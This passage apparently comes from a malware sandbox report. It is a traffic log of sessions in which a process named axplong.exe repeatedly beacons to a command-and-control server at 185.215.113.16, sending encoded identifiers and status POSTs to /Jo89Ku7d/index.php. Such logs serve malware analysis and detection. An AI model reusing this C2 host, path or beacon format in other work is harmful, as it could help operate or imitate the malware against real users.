Jul 26, 2024 13:44:07.941807985 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:07.942713022 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:08.190907955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	53652	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:08.312820911 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:09.065239906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:09.065877914 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:09.321120977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	53653	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:09.439378977 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:10.221355915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:10.222194910 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:10.481286049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	53654	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:10.595560074 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:11.379457951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:11.382344961 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:11.635154009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	53655	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:11.752181053 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:12.595117092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:12.596424103 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:12.879328966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	53656	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:12.999011993 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:13.813911915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:13.814675093 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:14.070489883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	53657	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:14.189224005 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:14.946468115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:14.947299957 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:15.200756073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	53658	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:15.311961889 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:16.117976904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:16.118776083 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:16.517405987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	53659	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:16.643441916 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:17.400667906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:17.401375055 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:17.661652088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	53660	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:17.780222893 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:18.545650959 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:18.546478033 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:18.798448086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	53661	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:18.934989929 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:19.691845894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:19.694761038 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:19.945610046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	53662	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:20.251146078 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:21.031054974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:21.039736032 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:21.316771984 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	53663	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:21.440730095 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:22.227663994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:22.228288889 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
